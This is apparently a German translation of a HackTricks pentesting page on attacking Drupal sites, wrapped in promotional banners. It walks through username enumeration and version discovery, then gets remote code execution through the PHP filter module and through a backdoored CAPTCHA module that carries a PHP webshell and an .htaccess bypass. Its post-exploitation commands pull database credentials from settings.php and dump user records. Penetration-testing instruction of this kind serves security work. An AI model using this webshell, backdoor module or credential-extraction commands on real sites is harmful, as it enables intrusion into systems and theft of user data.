9.6 KiB
Drupal
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
{% embed url="https://websec.nl/" %}
Entdeckung
- Überprüfen Sie meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Knoten: Drupal indexiert seinen Inhalt mit Knoten. Ein Knoten kann alles enthalten, wie z.B. einen Blogbeitrag, eine Umfrage, einen Artikel usw. Die Seiten-URIs haben in der Regel die Form
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeration
Drupal unterstützt standardmäßig drei Arten von Benutzern:
Administrator
: Dieser Benutzer hat die vollständige Kontrolle über die Drupal-Website.Authentifizierter Benutzer
: Diese Benutzer können sich auf der Website anmelden und je nach ihren Berechtigungen Operationen wie das Hinzufügen und Bearbeiten von Artikeln durchführen.Anonym
: Alle Website-Besucher werden als anonym bezeichnet. Standardmäßig dürfen diese Benutzer nur Beiträge lesen.
Version
- Überprüfen Sie
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Neuere Installationen von Drupal blockieren standardmäßig den Zugriff auf die Dateien CHANGELOG.txt
und README.txt
.
{% endhint %}
Benutzername Aufzählung
Registrieren
Unter /user/register versuchen Sie einfach, einen Benutzernamen zu erstellen, und wenn der Name bereits vergeben ist, wird dies angezeigt:
Neues Passwort anfordern
Wenn Sie ein neues Passwort für einen vorhandenen Benutzernamen anfordern:
Wenn Sie ein neues Passwort für einen nicht vorhandenen Benutzernamen anfordern:
Anzahl der Benutzer abrufen
Durch den Zugriff auf /user/<number> können Sie die Anzahl der vorhandenen Benutzer sehen, in diesem Fall sind es 2, da /users/3 einen Fehler "nicht gefunden" zurückgibt:
Versteckte Seiten
Fuzz /node/$
, wobei $
eine Zahl ist (von 1 bis 500 zum Beispiel).
Sie könnten versteckte Seiten (Test, Entwicklung) finden, die nicht von Suchmaschinen referenziert werden.
Installierte Modulinformationen
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automatisch
droopescan scan drupal -u http://drupal-site.local
RCE
Mit dem PHP-Filter-Modul
{% hint style="warning" %}
In älteren Versionen von Drupal (vor Version 8) war es möglich, sich als Administrator anzumelden und das PHP-Filter
-Modul zu aktivieren, das es ermöglicht, "Eingebetteten PHP-Code/Schnipsel auszuwerten".
{% endhint %}
Sie benötigen das Plugin PHP, das installiert sein muss (überprüfen Sie dies, indem Sie auf /modules/php zugreifen und wenn es eine 403 zurückgibt, dann existiert es, wenn nicht gefunden, dann ist das Plugin PHP nicht installiert)
Gehen Sie zu Module -> (Überprüfen Sie) PHP-Filter -> Konfiguration speichern
Klicken Sie dann auf Inhalt hinzufügen -> Wählen Sie Grundlegende Seite oder Artikel -> Schreiben Sie PHP-Shellcode im Body -> Wählen Sie PHP-Code im Textformat -> Wählen Sie Vorschau
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
curl http://drupal-site.local/node/3
Installieren des PHP-Filtermoduls
Ab Version 8 und höher wird das PHP-Filter Modul nicht mehr standardmäßig installiert. Um diese Funktionalität zu nutzen, müssen wir das Modul selbst installieren.
- Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
- Nach dem Download gehen Sie zu
Verwaltung
>Berichte
>Verfügbare Updates
. - Klicken Sie auf
Durchsuchen
, wählen Sie die Datei aus dem Verzeichnis aus, in das wir sie heruntergeladen haben, und klicken Sie dann aufInstallieren
. - Nachdem das Modul installiert ist, können wir auf
Inhalt
klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Stellen Sie erneut sicher, dass SiePHP-Code
aus dem Dropdown-MenüTextformat
auswählen.
Hintertürmodul
Ein hintertüriges Modul kann erstellt werden, indem eine Shell zu einem vorhandenen Modul hinzugefügt wird. Module können auf der Website drupal.org gefunden werden. Wählen wir ein Modul wie CAPTCHA aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz Archiv.
- Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalte.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Erstellen Sie eine PHP-Webshell mit dem Inhalt:
<?php
system($_GET["cmd"]);
?>
- Als nächstes müssen wir eine
.htaccess
-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist erforderlich, da Drupal den direkten Zugriff auf den/modules
-Ordner verweigert.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Die oben genannte Konfiguration wird Regeln für den / Ordner anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide Dateien in den Captcha-Ordner und erstellen Sie ein Archiv.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Angenommen, wir haben administrativen Zugriff auf die Website, klicken Sie auf
Verwalten
und dann aufErweitern
in der Seitenleiste. Klicken Sie als nächstes auf die Schaltfläche+ Neues Modul installieren
, und Sie werden zur Installationsseite weitergeleitet, z. B.http://drupal-site.local/admin/modules/install
. Navigieren Sie zum manipulierten Captcha-Archiv und klicken Sie aufInstallieren
. - Nach erfolgreicher Installation navigieren Sie zu
/modules/captcha/shell.php
, um Befehle auszuführen.
Post-Exploitation
settings.php lesen
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Benutzer aus der Datenbank abrufen
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referenzen
{% embed url="https://websec.nl/" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.